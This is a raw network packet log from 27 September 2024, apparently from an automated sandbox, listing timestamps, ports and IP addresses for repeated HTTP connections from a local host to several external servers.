Sep 27, 2024 17:29:46.282946110 CEST	63688	80	192.168.2.5	65.21.196.90
Sep 27, 2024 17:29:46.287739038 CEST	80	63688	65.21.196.90	192.168.2.5
Sep 27, 2024 17:30:17.509922981 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:17.515252113 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:17.515376091 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:17.533838987 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:17.538691998 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:19.046226978 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:19.100147009 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:20.064881086 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:20.069824934 CEST	80	63693	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:20.073498011 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:20.085330009 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:20.090691090 CEST	80	63693	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.408143044 CEST	80	63693	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.408274889 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.408416986 CEST	80	63693	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.408461094 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.408623934 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.408726931 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.408755064 CEST	80	63693	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.408797026 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.408876896 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.409111023 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.409398079 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.409456968 CEST	63692	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.413928032 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.414402008 CEST	80	63692	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:21.593074083 CEST	63693	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:21.598141909 CEST	80	63693	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:22.611567974 CEST	63694	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:22.616647005 CEST	80	63694	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:22.616832018 CEST	63694	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:22.628164053 CEST	63694	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:22.633780956 CEST	80	63694	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:22.635179996 CEST	80	63694	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:23.081831932 CEST	80	63694	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:23.081891060 CEST	63694	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:24.139954090 CEST	63694	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:24.144892931 CEST	80	63694	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:25.158898115 CEST	63695	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:25.594643116 CEST	80	63695	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:25.594727039 CEST	63695	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:25.602435112 CEST	63695	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:25.607567072 CEST	80	63695	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:26.054779053 CEST	80	63695	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:26.054800034 CEST	80	63695	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:26.054925919 CEST	63695	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:26.057516098 CEST	63695	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:30:26.062441111 CEST	80	63695	3.33.130.190	192.168.2.5
Sep 27, 2024 17:30:31.579864979 CEST	63696	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:31.584799051 CEST	80	63696	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:31.584888935 CEST	63696	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:31.596084118 CEST	63696	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:31.600974083 CEST	80	63696	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:32.493469954 CEST	80	63696	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:32.493851900 CEST	80	63696	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:32.493925095 CEST	63696	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:33.108702898 CEST	63696	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:34.129582882 CEST	63699	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:34.134629011 CEST	80	63699	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:34.134741068 CEST	63699	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:34.146953106 CEST	63699	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:34.152085066 CEST	80	63699	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:35.076477051 CEST	80	63699	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:35.077035904 CEST	80	63699	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:35.077130079 CEST	63699	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:35.655725002 CEST	63699	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:36.674529076 CEST	63700	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:36.679652929 CEST	80	63700	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:36.679789066 CEST	63700	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:36.690921068 CEST	63700	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:36.695795059 CEST	80	63700	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:36.696146011 CEST	80	63700	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:37.596261024 CEST	80	63700	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:37.596457958 CEST	80	63700	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:37.596529961 CEST	63700	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:38.202631950 CEST	63700	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:39.221441031 CEST	63701	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:39.228986979 CEST	80	63701	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:39.229068995 CEST	63701	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:39.235620975 CEST	63701	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:39.240427017 CEST	80	63701	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:40.119501114 CEST	80	63701	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:40.119539022 CEST	80	63701	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:40.119661093 CEST	63701	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:40.122523069 CEST	63701	80	192.168.2.5	38.47.233.19
Sep 27, 2024 17:30:40.127482891 CEST	80	63701	38.47.233.19	192.168.2.5
Sep 27, 2024 17:30:45.412194014 CEST	63702	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:45.417145967 CEST	80	63702	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:45.419622898 CEST	63702	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:45.432077885 CEST	63702	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:45.436952114 CEST	80	63702	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:46.411181927 CEST	80	63702	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:46.411973953 CEST	80	63702	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:46.412024975 CEST	63702	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:46.936867952 CEST	63702	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:47.957509995 CEST	63703	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:47.962537050 CEST	80	63703	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:47.969508886 CEST	63703	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:47.977514029 CEST	63703	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:47.982400894 CEST	80	63703	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:49.024214029 CEST	80	63703	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:49.024230957 CEST	80	63703	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:49.024298906 CEST	63703	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:49.484081984 CEST	63703	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:50.503515959 CEST	63704	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:50.508439064 CEST	80	63704	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:50.508507013 CEST	63704	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:50.525249958 CEST	63704	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:50.530181885 CEST	80	63704	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:50.530376911 CEST	80	63704	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:51.501018047 CEST	80	63704	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:51.502428055 CEST	80	63704	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:51.502506971 CEST	63704	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:52.030841112 CEST	63704	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:53.056194067 CEST	63705	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:53.061311960 CEST	80	63705	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:53.061391115 CEST	63705	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:53.073514938 CEST	63705	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:53.078423023 CEST	80	63705	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:54.069080114 CEST	80	63705	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:54.069336891 CEST	80	63705	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:54.071710110 CEST	63705	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:54.074749947 CEST	63705	80	192.168.2.5	172.67.165.25
Sep 27, 2024 17:30:54.079595089 CEST	80	63705	172.67.165.25	192.168.2.5
Sep 27, 2024 17:30:59.378076077 CEST	63706	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:30:59.393366098 CEST	80	63706	208.91.197.27	192.168.2.5
Sep 27, 2024 17:30:59.393621922 CEST	63706	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:30:59.404990911 CEST	63706	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:30:59.455140114 CEST	80	63706	208.91.197.27	192.168.2.5
Sep 27, 2024 17:30:59.952598095 CEST	80	63706	208.91.197.27	192.168.2.5
Sep 27, 2024 17:30:59.952747107 CEST	63706	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:00.921287060 CEST	63706	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:01.004549980 CEST	80	63706	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:01.947546959 CEST	63707	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:01.952483892 CEST	80	63707	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:01.955914974 CEST	63707	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:01.967781067 CEST	63707	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:01.972640991 CEST	80	63707	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:02.507347107 CEST	80	63707	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:02.507416010 CEST	63707	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:03.468405962 CEST	63707	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:03.474174023 CEST	80	63707	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:04.492995977 CEST	63708	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:04.498843908 CEST	80	63708	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:04.498918056 CEST	63708	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:04.512590885 CEST	63708	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:04.527054071 CEST	80	63708	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:04.527093887 CEST	80	63708	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:05.060781956 CEST	80	63708	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:05.060861111 CEST	63708	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:06.017563105 CEST	63708	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:06.025008917 CEST	80	63708	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:07.034244061 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:07.039318085 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:07.039381981 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:07.046612024 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:07.051450014 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.486481905 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.486859083 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.486870050 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.486958981 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.487476110 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.487488031 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.487903118 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.490505934 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.490519047 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.490585089 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.490645885 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.490665913 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.490833998 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.493076086 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.493168116 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.515010118 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.535697937 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.539732933 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.615159988 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.615416050 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.615426064 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.615622997 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.616345882 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.616362095 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.616451025 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.617275953 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.617291927 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.617335081 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.618452072 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.618463039 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.620646000 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.631216049 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.631228924 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.631302118 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.631593943 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.631608963 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.631618023 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.631716013 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.631716013 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.634203911 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.634215117 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.634813070 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.634824038 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.634948015 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.654978037 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.654994965 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.655004978 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.655073881 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.659390926 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.659508944 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.756053925 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.756336927 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.756347895 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.756357908 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.756515026 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.756515026 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.758565903 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.758577108 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.758765936 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:09.759366989 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.759378910 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:09.761662006 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:10.402271986 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:10.402976036 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:10.403033018 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:10.405476093 CEST	63709	80	192.168.2.5	208.91.197.27
Sep 27, 2024 17:31:10.410756111 CEST	80	63709	208.91.197.27	192.168.2.5
Sep 27, 2024 17:31:15.967916012 CEST	63711	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:15.975115061 CEST	80	63711	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:15.977750063 CEST	63711	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:15.989598036 CEST	63711	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:15.996285915 CEST	80	63711	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:16.579109907 CEST	80	63711	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:16.579256058 CEST	80	63711	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:16.579307079 CEST	63711	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:17.499674082 CEST	63711	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:18.519265890 CEST	63712	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:18.525327921 CEST	80	63712	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:18.525419950 CEST	63712	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:18.539612055 CEST	63712	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:18.544576883 CEST	80	63712	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:19.253101110 CEST	80	63712	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:19.253635883 CEST	80	63712	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:19.255759954 CEST	63712	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:20.046375990 CEST	63712	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:21.065906048 CEST	63713	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:21.071958065 CEST	80	63713	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:21.072050095 CEST	63713	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:21.085164070 CEST	63713	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:21.090123892 CEST	80	63713	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:21.090238094 CEST	80	63713	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:21.683240891 CEST	80	63713	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:21.684248924 CEST	80	63713	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:21.684344053 CEST	63713	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:22.593163013 CEST	63713	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:23.611752987 CEST	63714	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:23.616780996 CEST	80	63714	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:23.617091894 CEST	63714	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:23.627716064 CEST	63714	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:23.634313107 CEST	80	63714	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:24.343977928 CEST	80	63714	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:24.344470024 CEST	80	63714	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:24.344518900 CEST	63714	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:24.347242117 CEST	63714	80	192.168.2.5	162.0.238.43
Sep 27, 2024 17:31:24.351999998 CEST	80	63714	162.0.238.43	192.168.2.5
Sep 27, 2024 17:31:29.382020950 CEST	63715	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:29.386910915 CEST	80	63715	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:29.387716055 CEST	63715	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:29.400132895 CEST	63715	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:29.404918909 CEST	80	63715	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:29.886904001 CEST	80	63715	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:29.887845039 CEST	63715	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:30.905808926 CEST	63715	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:30.910631895 CEST	80	63715	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:31.928514004 CEST	63716	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:31.933407068 CEST	80	63716	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:31.933605909 CEST	63716	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:31.947791100 CEST	63716	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:31.954320908 CEST	80	63716	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:33.455688000 CEST	63716	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:33.461662054 CEST	80	63716	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:33.461781979 CEST	63716	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:34.472141027 CEST	63717	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:34.477045059 CEST	80	63717	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:34.477116108 CEST	63717	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:34.490447998 CEST	63717	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:34.495346069 CEST	80	63717	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:34.495368958 CEST	80	63717	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:35.999475956 CEST	63717	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:36.249774933 CEST	80	63717	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:36.249841928 CEST	63717	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:37.018671036 CEST	63718	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:37.023731947 CEST	80	63718	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:37.023816109 CEST	63718	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:37.032845974 CEST	63718	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:37.037769079 CEST	80	63718	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:37.480252981 CEST	80	63718	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:37.480482101 CEST	80	63718	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:37.480561018 CEST	63718	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:37.483401060 CEST	63718	80	192.168.2.5	3.33.130.190
Sep 27, 2024 17:31:37.488399982 CEST	80	63718	3.33.130.190	192.168.2.5
Sep 27, 2024 17:31:42.581866980 CEST	63719	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:42.586884975 CEST	80	63719	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:42.586963892 CEST	63719	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:42.600414038 CEST	63719	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:42.605355024 CEST	80	63719	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:44.108829021 CEST	63719	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:44.114274979 CEST	80	63719	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:44.117722034 CEST	63719	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:45.128859043 CEST	63720	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:45.133861065 CEST	80	63720	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:45.133944035 CEST	63720	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:45.148454905 CEST	63720	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:45.153599024 CEST	80	63720	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:46.655731916 CEST	63720	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:46.662277937 CEST	80	63720	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:46.662349939 CEST	63720	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:47.677690983 CEST	63721	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:47.682758093 CEST	80	63721	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:47.682923079 CEST	63721	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:47.694169044 CEST	63721	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:47.699112892 CEST	80	63721	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:47.699258089 CEST	80	63721	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:49.202624083 CEST	63721	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:49.207973003 CEST	80	63721	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:49.209759951 CEST	63721	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:50.221584082 CEST	63722	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:50.226562977 CEST	80	63722	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:50.226650953 CEST	63722	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:50.235347033 CEST	63722	80	192.168.2.5	85.159.66.93
Sep 27, 2024 17:31:50.240236998 CEST	80	63722	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:50.929873943 CEST	80	63722	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:50.929941893 CEST	80	63722	85.159.66.93	192.168.2.5
Sep 27, 2024 17:31:50.930042982 CEST	63722	80	192.168.2.5	85.159.66.93
